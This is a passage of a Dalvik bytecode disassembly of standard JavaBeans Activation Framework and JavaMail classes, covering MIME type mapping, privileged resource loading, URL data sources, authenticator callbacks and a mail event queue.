00000116  invoke-virtual          InputStream->close()V, v2
:11C
0000011C  goto                    :96
:11E
0000011E  move-exception          v0
00000120  goto                    :96
:122
00000122  move-exception          v0
00000124  move-object             v2, v1
:126
00000126  if-eqz                  v2, :130
:12A
0000012A  invoke-virtual          InputStream->close()V, v2
:130
00000130  throw                   v0
:132
00000132  move-exception          v1
00000134  goto                    :5A
:136
00000136  move-exception          v1
00000138  goto                    :130
:13A
0000013A  move-exception          v0
0000013C  goto                    :96
:13E
0000013E  move-exception          v0
00000140  goto                    :126
:142
00000142  move-exception          v0
00000144  goto                    :E2
:146
00000146  move-exception          v0
00000148  goto                    :9E
          .catch IOException {:2 .. :10} :9A
          .catch SecurityException {:2 .. :10} :DE
          .catchall {:2 .. :10} :122
          .catch IOException {:16 .. :50} :146
          .catch SecurityException {:16 .. :50} :142
          .catchall {:16 .. :50} :13E
          .catch IOException {:54 .. :5A} :132
          .catch IOException {:5C .. :8C} :146
          .catch SecurityException {:5C .. :8C} :142
          .catchall {:5C .. :8C} :13E
          .catch IOException {:90 .. :96} :13A
          .catchall {:9E .. :CE} :13E
          .catch IOException {:D2 .. :D8} :DA
          .catchall {:E2 .. :112} :13E
          .catch IOException {:116 .. :11C} :11E
          .catch IOException {:12A .. :130} :136
.end method

.method public declared-synchronized addMimeTypes(String)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000006  const/4                 v1, 0x0
00000008  aget-object             v0, v0, v1
0000000C  if-nez                  v0, :24
:10
00000010  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000014  const/4                 v1, 0x0
00000016  new-instance            v2, MimeTypeFile
0000001A  invoke-direct           MimeTypeFile-><init>()V, v2
00000020  aput-object             v2, v0, v1
:24
00000024  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000028  const/4                 v1, 0x0
0000002A  aget-object             v0, v0, v1
0000002E  invoke-virtual          MimeTypeFile->appendToRegistry(String)V, v0, p1
:34
00000034  monitor-exit            p0
00000036  return-void
:38
00000038  move-exception          v0
0000003A  monitor-exit            p0
0000003C  throw                   v0
          .catchall {:2 .. :34} :38
.end method

.method public getContentType(File)String
          .registers 3
00000000  invoke-virtual          File->getName()String, p1
00000006  move-result-object      v0
00000008  invoke-virtual          MimetypesFileTypeMap->getContentType(String)String, p0, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public declared-synchronized getContentType(String)String
          .registers 5
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "."
00000006  invoke-virtual          String->lastIndexOf(String)I, p1, v0
0000000C  move-result             v0
0000000E  if-gez                  v0, :1A
:12
00000012  sget-object             v0, MimetypesFileTypeMap->defaultType:String
:16
00000016  monitor-exit            p0
00000018  return-object           v0
:1A
0000001A  add-int/lit8            v0, v0, 0x1
:1E
0000001E  invoke-virtual          String->substring(I)String, p1, v0
00000024  move-result-object      v2
00000026  invoke-virtual          String->length()I, v2
0000002C  move-result             v0
0000002E  if-nez                  v0, :38
:32
00000032  sget-object             v0, MimetypesFileTypeMap->defaultType:String
00000036  goto                    :16
:38
00000038  const/4                 v0, 0x0
0000003A  move                    v1, v0
:3C
0000003C  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000040  array-length            v0, v0
00000042  if-lt                   v1, v0, :4C
:46
00000046  sget-object             v0, MimetypesFileTypeMap->defaultType:String
0000004A  goto                    :16
:4C
0000004C  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000050  aget-object             v0, v0, v1
00000054  if-nez                  v0, :60
:58
00000058  add-int/lit8            v0, v1, 0x1
0000005C  move                    v1, v0
0000005E  goto                    :3C
:60
00000060  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
00000064  aget-object             v0, v0, v1
00000068  invoke-virtual          MimeTypeFile->getMIMETypeString(String)String, v0, v2
:6E
0000006E  move-result-object      v0
00000070  if-eqz                  v0, :58
:74
00000074  goto                    :16
:76
00000076  move-exception          v0
00000078  monitor-exit            p0
0000007A  throw                   v0
          .catchall {:2 .. :16} :76
          .catchall {:1E .. :6E} :76
.end method

#--------------------------------------------------------------------------------
.class ObjectDataContentHandler
.super Object
.source ""

.implements DataContentHandler

.field private dch:DataContentHandler
.field private mimeType:String
.field private obj:Object
.field private transferFlavors:[DataFlavor

.method public constructor <init>(DataContentHandler, Object, String)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
0000000C  iput-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000010  iput-object             p2, p0, ObjectDataContentHandler->obj:Object
00000014  iput-object             p3, p0, ObjectDataContentHandler->mimeType:String
00000018  iput-object             p1, p0, ObjectDataContentHandler->dch:DataContentHandler
0000001C  return-void
.end method

.method public getContent(DataSource)Object
          .registers 3
00000000  iget-object             v0, p0, ObjectDataContentHandler->obj:Object
00000004  return-object           v0
.end method

.method public getDCH()DataContentHandler
          .registers 2
00000000  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004  return-object           v0
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 5
00000000  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000C  invoke-interface        DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, p2
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  invoke-virtual          ObjectDataContentHandler->getTransferDataFlavors()[DataFlavor, p0
0000001C  move-result-object      v0
0000001E  const/4                 v1, 0x0
00000020  aget-object             v0, v0, v1
00000024  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p1, v0
0000002A  move-result             v0
0000002C  if-eqz                  v0, :36
:30
00000030  iget-object             v0, p0, ObjectDataContentHandler->obj:Object
00000034  goto                    :14
:36
00000036  new-instance            v0, UnsupportedFlavorException
0000003A  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000040  throw                   v0
.end method

.method public declared-synchronized getTransferDataFlavors()[DataFlavor
          .registers 7
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000006  if-nez                  v0, :22
:A
0000000A  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000E  if-eqz                  v0, :2A
:12
00000012  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000016  invoke-interface        DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
:22
00000022  iget-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
:26
00000026  monitor-exit            p0
00000028  return-object           v0
:2A
0000002A  const/4                 v0, 0x1
:2C
0000002C  new-array               v0, v0, [DataFlavor
00000030  iput-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000034  iget-object             v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000038  const/4                 v1, 0x0
0000003A  new-instance            v2, ActivationDataFlavor
0000003E  iget-object             v3, p0, ObjectDataContentHandler->obj:Object
00000042  invoke-virtual          Object->getClass()Class, v3
00000048  move-result-object      v3
0000004A  iget-object             v4, p0, ObjectDataContentHandler->mimeType:String
0000004E  iget-object             v5, p0, ObjectDataContentHandler->mimeType:String
00000052  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v2, v3, v4, v5
00000058  aput-object             v2, v0, v1
:5C
0000005C  goto                    :22
:5E
0000005E  move-exception          v0
00000060  monitor-exit            p0
00000062  throw                   v0
          .catchall {:2 .. :26} :5E
          .catchall {:2C .. :5C} :5E
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 7
00000000  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004  if-eqz                  v0, :14
:8
00000008  iget-object             v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000C  invoke-interface        DataContentHandler->writeTo(Object, String, OutputStream)V, v0, p1, p2, p3
:12
00000012  return-void
:14
00000014  instance-of             v0, p1, [B
00000018  if-eqz                  v0, :28
:1C
0000001C  check-cast              p1, [B
00000020  invoke-virtual          OutputStream->write([B)V, p3, p1
00000026  goto                    :12
:28
00000028  instance-of             v0, p1, String
0000002C  if-eqz                  v0, :4C
:30
00000030  new-instance            v0, OutputStreamWriter
00000034  invoke-direct           OutputStreamWriter-><init>(OutputStream)V, v0, p3
0000003A  check-cast              p1, String
0000003E  invoke-virtual          OutputStreamWriter->write(String)V, v0, p1
00000044  invoke-virtual          OutputStreamWriter->flush()V, v0
0000004A  goto                    :12
:4C
0000004C  new-instance            v0, UnsupportedDataTypeException
00000050  new-instance            v1, StringBuilder
00000054  const-string            v2, "no object DCH for MIME type "
00000058  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000005E  iget-object             v2, p0, ObjectDataContentHandler->mimeType:String
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000068  move-result-object      v1
0000006A  invoke-virtual          StringBuilder->toString()String, v1
00000070  move-result-object      v1
00000072  invoke-direct           UnsupportedDataTypeException-><init>(String)V, v0, v1
00000078  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport$1
.super Object
.source ""

.implements PrivilegedAction

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public run()Object
          .registers 3
00000000  const/4                 v0, 0x0
:2
00000002  invoke-static           Thread->currentThread()Thread
00000008  move-result-object      v1
0000000A  invoke-virtual          Thread->getContextClassLoader()ClassLoader, v1
:10
00000010  move-result-object      v0
:12
00000012  return-object           v0
:14
00000014  move-exception          v1
00000016  goto                    :12
          .catch SecurityException {:2 .. :10} :14
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport$2
.super Object
.source ""

.implements PrivilegedExceptionAction

.field private final synthetic val$c:Class
.field private final synthetic val$name:String

.method constructor <init>(Class, String)V
          .registers 3
00000000  iput-object             p1, p0, SecuritySupport$2->val$c:Class
00000004  iput-object             p2, p0, SecuritySupport$2->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public run()Object
          .registers 3
00000000  iget-object             v0, p0, SecuritySupport$2->val$c:Class
00000004  iget-object             v1, p0, SecuritySupport$2->val$name:String
00000008  invoke-virtual          Class->getResourceAsStream(String)InputStream, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport$3
.super Object
.source ""

.implements PrivilegedAction

.field private final synthetic val$cl:ClassLoader
.field private final synthetic val$name:String

.method constructor <init>(ClassLoader, String)V
          .registers 3
00000000  iput-object             p1, p0, SecuritySupport$3->val$cl:ClassLoader
00000004  iput-object             p2, p0, SecuritySupport$3->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public run()Object
          .registers 5
00000000  const/4                 v0, 0x0
00000002  check-cast              v0, [URL
:6
00000006  new-instance            v2, ArrayList
0000000A  invoke-direct           ArrayList-><init>()V, v2
00000010  iget-object             v1, p0, SecuritySupport$3->val$cl:ClassLoader
00000014  iget-object             v3, p0, SecuritySupport$3->val$name:String
00000018  invoke-virtual          ClassLoader->getResources(String)Enumeration, v1, v3
0000001E  move-result-object      v3
:20
00000020  if-eqz                  v3, :30
:24
00000024  invoke-interface        Enumeration->hasMoreElements()Z, v3
0000002A  move-result             v1
0000002C  if-nez                  v1, :56
:30
00000030  invoke-interface        List->size()I, v2
00000036  move-result             v1
00000038  if-lez                  v1, :54
:3C
0000003C  invoke-interface        List->size()I, v2
00000042  move-result             v1
00000044  new-array               v1, v1, [URL
:48
00000048  invoke-interface        List->toArray([Object)[Object, v2, v1
0000004E  move-result-object      v0
00000050  check-cast              v0, [URL
:54
00000054  return-object           v0
:56
00000056  invoke-interface        Enumeration->nextElement()Object, v3
0000005C  move-result-object      v1
0000005E  check-cast              v1, URL
00000062  if-eqz                  v1, :20
:66
00000066  invoke-interface        List->add(Object)Z, v2, v1
:6C
0000006C  goto                    :20
:6E
0000006E  move-exception          v1
00000070  goto                    :54
:72
00000072  move-exception          v1
00000074  goto                    :54
:76
00000076  move-exception          v0
00000078  move-object             v0, v1
0000007A  goto                    :54
:7C
0000007C  move-exception          v0
0000007E  move-object             v0, v1
00000080  goto                    :54
          .catch IOException {:6 .. :48} :6E
          .catch SecurityException {:6 .. :48} :72
          .catch IOException {:48 .. :54} :7C
          .catch SecurityException {:48 .. :54} :76
          .catch IOException {:56 .. :6C} :6E
          .catch SecurityException {:56 .. :6C} :72
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport$4
.super Object
.source ""

.implements PrivilegedAction

.field private final synthetic val$name:String

.method constructor <init>(String)V
          .registers 2
00000000  iput-object             p1, p0, SecuritySupport$4->val$name:String
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public run()Object
          .registers 5
00000000  const/4                 v0, 0x0
00000002  check-cast              v0, [URL
:6
00000006  new-instance            v2, ArrayList
0000000A  invoke-direct           ArrayList-><init>()V, v2
00000010  iget-object             v1, p0, SecuritySupport$4->val$name:String
00000014  invoke-static           ClassLoader->getSystemResources(String)Enumeration, v1
0000001A  move-result-object      v3
:1C
0000001C  if-eqz                  v3, :2C
:20
00000020  invoke-interface        Enumeration->hasMoreElements()Z, v3
00000026  move-result             v1
00000028  if-nez                  v1, :52
:2C
0000002C  invoke-interface        List->size()I, v2
00000032  move-result             v1
00000034  if-lez                  v1, :50
:38
00000038  invoke-interface        List->size()I, v2
0000003E  move-result             v1
00000040  new-array               v1, v1, [URL
:44
00000044  invoke-interface        List->toArray([Object)[Object, v2, v1
0000004A  move-result-object      v0
0000004C  check-cast              v0, [URL
:50
00000050  return-object           v0
:52
00000052  invoke-interface        Enumeration->nextElement()Object, v3
00000058  move-result-object      v1
0000005A  check-cast              v1, URL
0000005E  if-eqz                  v1, :1C
:62
00000062  invoke-interface        List->add(Object)Z, v2, v1
:68
00000068  goto                    :1C
:6A
0000006A  move-exception          v1
0000006C  goto                    :50
:6E
0000006E  move-exception          v1
00000070  goto                    :50
:72
00000072  move-exception          v0
00000074  move-object             v0, v1
00000076  goto                    :50
:78
00000078  move-exception          v0
0000007A  move-object             v0, v1
0000007C  goto                    :50
          .catch IOException {:6 .. :44} :6A
          .catch SecurityException {:6 .. :44} :6E
          .catch IOException {:44 .. :50} :78
          .catch SecurityException {:44 .. :50} :72
          .catch IOException {:52 .. :68} :6A
          .catch SecurityException {:52 .. :68} :6E
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport$5
.super Object
.source ""

.implements PrivilegedExceptionAction

.field private final synthetic val$url:URL

.method constructor <init>(URL)V
          .registers 2
00000000  iput-object             p1, p0, SecuritySupport$5->val$url:URL
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public run()Object
          .registers 2
00000000  iget-object             v0, p0, SecuritySupport$5->val$url:URL
00000004  invoke-virtual          URL->openStream()InputStream, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class SecuritySupport
.super Object
.source ""

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getContextClassLoader()ClassLoader
          .registers 1
00000000  new-instance            v0, SecuritySupport$1
00000004  invoke-direct           SecuritySupport$1-><init>()V, v0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, ClassLoader
00000016  return-object           v0
.end method

.method public static getResourceAsStream(Class, String)InputStream
          .registers 3
00000000  new-instance            v0, SecuritySupport$2
00000004  invoke-direct           SecuritySupport$2-><init>(Class, String)V, v0, p0, p1
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, InputStream
:16
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  invoke-virtual          PrivilegedActionException->getException()Exception, v0
00000020  move-result-object      v0
00000022  check-cast              v0, IOException
00000026  throw                   v0
          .catch PrivilegedActionException {:0 .. :16} :18
.end method

.method public static getResources(ClassLoader, String)[URL
          .registers 3
00000000  new-instance            v0, SecuritySupport$3
00000004  invoke-direct           SecuritySupport$3-><init>(ClassLoader, String)V, v0, p0, p1
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, [URL
00000016  return-object           v0
.end method

.method public static getSystemResources(String)[URL
          .registers 2
00000000  new-instance            v0, SecuritySupport$4
00000004  invoke-direct           SecuritySupport$4-><init>(String)V, v0, p0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, [URL
00000016  return-object           v0
.end method

.method public static openStream(URL)InputStream
          .registers 2
00000000  new-instance            v0, SecuritySupport$5
00000004  invoke-direct           SecuritySupport$5-><init>(URL)V, v0, p0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, InputStream
:16
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  invoke-virtual          PrivilegedActionException->getException()Exception, v0
00000020  move-result-object      v0
00000022  check-cast              v0, IOException
00000026  throw                   v0
          .catch PrivilegedActionException {:0 .. :16} :18
.end method

#--------------------------------------------------------------------------------
.class public URLDataSource
.super Object
.source ""

.implements DataSource

.field private url:URL
.field private url_conn:URLConnection

.method public constructor <init>(URL)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, URLDataSource->url:URL
0000000C  iput-object             v0, p0, URLDataSource->url_conn:URLConnection
00000010  iput-object             p1, p0, URLDataSource->url:URL
00000014  return-void
.end method

.method public getContentType()String
          .registers 3
00000000  const/4                 v0, 0x0
:2
00000002  iget-object             v1, p0, URLDataSource->url_conn:URLConnection
00000006  if-nez                  v1, :1A
:A
0000000A  iget-object             v1, p0, URLDataSource->url:URL
0000000E  invoke-virtual          URL->openConnection()URLConnection, v1
00000014  move-result-object      v1
00000016  iput-object             v1, p0, URLDataSource->url_conn:URLConnection
:1A
0000001A  iget-object             v1, p0, URLDataSource->url_conn:URLConnection
0000001E  if-eqz                  v1, :2E
:22
00000022  iget-object             v0, p0, URLDataSource->url_conn:URLConnection
00000026  invoke-virtual          URLConnection->getContentType()String, v0
0000002C  move-result-object      v0
:2E
0000002E  if-nez                  v0, :36
:32
00000032  const-string            v0, "application/octet-stream"
:36
00000036  return-object           v0
:38
00000038  move-exception          v1
0000003A  goto                    :1A
          .catch IOException {:2 .. :1A} :38
.end method

.method public getInputStream()InputStream
          .registers 2
00000000  iget-object             v0, p0, URLDataSource->url:URL
00000004  invoke-virtual          URL->openStream()InputStream, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, URLDataSource->url:URL
00000004  invoke-virtual          URL->getFile()String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getOutputStream()OutputStream
          .registers 3
00000000  iget-object             v0, p0, URLDataSource->url:URL
00000004  invoke-virtual          URL->openConnection()URLConnection, v0
0000000A  move-result-object      v0
0000000C  iput-object             v0, p0, URLDataSource->url_conn:URLConnection
00000010  iget-object             v0, p0, URLDataSource->url_conn:URLConnection
00000014  if-eqz                  v0, :32
:18
00000018  iget-object             v0, p0, URLDataSource->url_conn:URLConnection
0000001C  const/4                 v1, 0x1
0000001E  invoke-virtual          URLConnection->setDoOutput(Z)V, v0, v1
00000024  iget-object             v0, p0, URLDataSource->url_conn:URLConnection
00000028  invoke-virtual          URLConnection->getOutputStream()OutputStream, v0
0000002E  move-result-object      v0
:30
00000030  return-object           v0
:32
00000032  const/4                 v0, 0x0
00000034  goto                    :30
.end method

.method public getURL()URL
          .registers 2
00000000  iget-object             v0, p0, URLDataSource->url:URL
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public UnsupportedDataTypeException
.super IOException
.source ""

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           IOException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           IOException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public AuthenticationFailedException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x6D438D6B238969FL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract Authenticator
.super Object
.source ""

.field private requestingPort:I
.field private requestingPrompt:String
.field private requestingProtocol:String
.field private requestingSite:InetAddress
.field private requestingUserName:String

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method private reset()V
          .registers 3
00000000  const/4                 v1, 0x0
00000002  iput-object             v1, p0, Authenticator->requestingSite:InetAddress
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, Authenticator->requestingPort:I
0000000C  iput-object             v1, p0, Authenticator->requestingProtocol:String
00000010  iput-object             v1, p0, Authenticator->requestingPrompt:String
00000014  iput-object             v1, p0, Authenticator->requestingUserName:String
00000018  return-void
.end method

.method protected final getDefaultUserName()String
          .registers 2
00000000  iget-object             v0, p0, Authenticator->requestingUserName:String
00000004  return-object           v0
.end method

.method protected getPasswordAuthentication()PasswordAuthentication
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method protected final getRequestingPort()I
          .registers 2
00000000  iget                    v0, p0, Authenticator->requestingPort:I
00000004  return                  v0
.end method

.method protected final getRequestingPrompt()String
          .registers 2
00000000  iget-object             v0, p0, Authenticator->requestingPrompt:String
00000004  return-object           v0
.end method

.method protected final getRequestingProtocol()String
          .registers 2
00000000  iget-object             v0, p0, Authenticator->requestingProtocol:String
00000004  return-object           v0
.end method

.method protected final getRequestingSite()InetAddress
          .registers 2
00000000  iget-object             v0, p0, Authenticator->requestingSite:InetAddress
00000004  return-object           v0
.end method

.method final requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication
          .registers 7
00000000  invoke-direct           Authenticator->reset()V, p0
00000006  iput-object             p1, p0, Authenticator->requestingSite:InetAddress
0000000A  iput                    p2, p0, Authenticator->requestingPort:I
0000000E  iput-object             p3, p0, Authenticator->requestingProtocol:String
00000012  iput-object             p4, p0, Authenticator->requestingPrompt:String
00000016  iput-object             p5, p0, Authenticator->requestingUserName:String
0000001A  invoke-virtual          Authenticator->getPasswordAuthentication()PasswordAuthentication, p0
00000020  move-result-object      v0
00000022  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class EventQueue$QueueElement
.super Object
.source ""

.field event:MailEvent
.field next:EventQueue$QueueElement
.field prev:EventQueue$QueueElement
.field vector:Vector

.method constructor <init>(MailEvent, Vector)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000000C  iput-object             v0, p0, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000010  iput-object             v0, p0, EventQueue$QueueElement->event:MailEvent
00000014  iput-object             v0, p0, EventQueue$QueueElement->vector:Vector
00000018  iput-object             p1, p0, EventQueue$QueueElement->event:MailEvent
0000001C  iput-object             p2, p0, EventQueue$QueueElement->vector:Vector
00000020  return-void
.end method

#--------------------------------------------------------------------------------
.class EventQueue
.super Object
.source ""

.implements Runnable

.field private head:EventQueue$QueueElement
.field private qThread:Thread
.field private tail:EventQueue$QueueElement

.method public constructor <init>()V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, EventQueue->head:EventQueue$QueueElement
0000000C  iput-object             v0, p0, EventQueue->tail:EventQueue$QueueElement
00000010  new-instance            v0, Thread
00000014  const-string            v1, "JavaMail-EventQueue"
00000018  invoke-direct           Thread-><init>(Runnable, String)V, v0, p0, v1
0000001E  iput-object             v0, p0, EventQueue->qThread:Thread
00000022  iget-object             v0, p0, EventQueue->qThread:Thread
00000026  const/4                 v1, 0x1
00000028  invoke-virtual          Thread->setDaemon(Z)V, v0, v1
0000002E  iget-object             v0, p0, EventQueue->qThread:Thread
00000032  invoke-virtual          Thread->start()V, v0
00000038  return-void
.end method

.method private declared-synchronized dequeue()EventQueue$QueueElement
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, EventQueue->tail:EventQueue$QueueElement
00000006  if-eqz                  v0, :32
:A
0000000A  iget-object             v0, p0, EventQueue->tail:EventQueue$QueueElement
0000000E  iget-object             v1, v0, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000012  iput-object             v1, p0, EventQueue->tail:EventQueue$QueueElement
00000016  iget-object             v1, p0, EventQueue->tail:EventQueue$QueueElement
0000001A  if-nez                  v1, :40
:1E
0000001E  const/4                 v1, 0x0
00000020  iput-object             v1, p0, EventQueue->head:EventQueue$QueueElement
:24
00000024  const/4                 v1, 0x0
00000026  iput-object             v1, v0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000002A  iput-object             v1, v0, EventQueue$QueueElement->prev:EventQueue$QueueElement
:2E
0000002E  monitor-exit            p0
00000030  return-object           v0
:32
00000032  invoke-virtual          Object->wait()V, p0
:38
00000038  goto                    :2
:3A
0000003A  move-exception          v0
0000003C  monitor-exit            p0
0000003E  throw                   v0
:40
00000040  iget-object             v1, p0, EventQueue->tail:EventQueue$QueueElement
00000044  const/4                 v2, 0x0
00000046  iput-object             v2, v1, EventQueue$QueueElement->next:EventQueue$QueueElement
:4A
0000004A  goto                    :24
          .catchall {:2 .. :2E} :3A
          .catchall {:32 .. :38} :3A
          .catchall {:40 .. :4A} :3A
.end method

.method public declared-synchronized enqueue(MailEvent, Vector)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, EventQueue$QueueElement
00000006  invoke-direct           EventQueue$QueueElement-><init>(MailEvent, Vector)V, v0, p1, p2
0000000C  iget-object             v1, p0, EventQueue->head:EventQueue$QueueElement
00000010  if-nez                  v1, :26
:14
00000014  iput-object             v0, p0, EventQueue->head:EventQueue$QueueElement
00000018  iput-object             v0, p0, EventQueue->tail:EventQueue$QueueElement
:1C
0000001C  invoke-virtual          Object->notifyAll()V, p0
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  iget-object             v1, p0, EventQueue->head:EventQueue$QueueElement
0000002A  iput-object             v1, v0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000002E  iget-object             v1, p0, EventQueue->head:EventQueue$QueueElement
00000032  iput-object             v0, v1, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000036  iput-object             v0, p0, EventQueue->head:EventQueue$QueueElement
:3A
0000003A  goto                    :1C
:3C
0000003C  move-exception          v0
0000003E  monitor-exit            p0
00000040  throw                   v0
          .catchall {:2 .. :22} :3C
          .catchall {:26 .. :3A} :3C
.end method

.method public run()V
          .registers 5
00000000  invoke-direct           EventQueue->dequeue()EventQueue$QueueElement, p0
00000006  move-result-object      v0
00000008  if-nez                  v0, :E
:C
0000000C  return-void
:E
0000000E  iget-object             v2, v0, EventQueue$QueueElement->event:MailEvent
00000012  iget-object             v3, v0, EventQueue$QueueElement->vector:Vector
00000016  const/4                 v0, 0x0
00000018  move                    v1, v0
:1A
0000001A  invoke-virtual          Vector->size()I, v3
:20
00000020  move-result             v0
00000022  if-ge                   v1, v0, :0
:26
00000026  invoke-virtual          Vector->elementAt(I)Object, v3, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          MailEvent->dispatch(Object)V, v2, v0
:34
00000034  add-int/lit8            v0, v1, 0x1
00000038  move                    v1, v0
0000003A  goto                    :1A
:3C
0000003C  move-exception          v0
:3E
0000003E  instance-of             v0, v0, InterruptedException
:42
00000042  if-eqz                  v0, :34
:46
00000046  goto                    :C
:48
00000048  move-exception          v0
0000004A  goto                    :C
          .catch InterruptedException {:0 .. :20} :48
          .catch Throwable {:26 .. :34} :3C
          .catch InterruptedException {:26 .. :34} :48
          .catch InterruptedException {:3E .. :42} :48
.end method

.method stop()V
          .registers 2
00000000  iget-object             v0, p0, EventQueue->qThread:Thread
00000004  if-eqz                  v0, :18
:8
00000008  iget-object             v0, p0, EventQueue->qThread:Thread
0000000C  invoke-virtual          Thread->interrupt()V, v0
00000012  const/4                 v0, 0x0
00000014  iput-object             v0, p0, EventQueue->qThread:Thread
:18
00000018  return-void
.end method

#--------------------------------------------------------------------------------
.class public FetchProfile
.super Object
.source ""

.field private headers:Vector
.field private specials:Vector

.method public constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, FetchProfile->specials:Vector
0000000C  iput-object             v0, p0, FetchProfile->headers:Vector
00000010  return-void
.end method

.method public add(String)V
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->headers:Vector
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, Vector
0000000C  invoke-direct           Vector-><init>()V, v0
00000012  iput-object             v0, p0, FetchProfile->headers:Vector
:16
00000016  iget-object             v0, p0, FetchProfile->headers:Vector
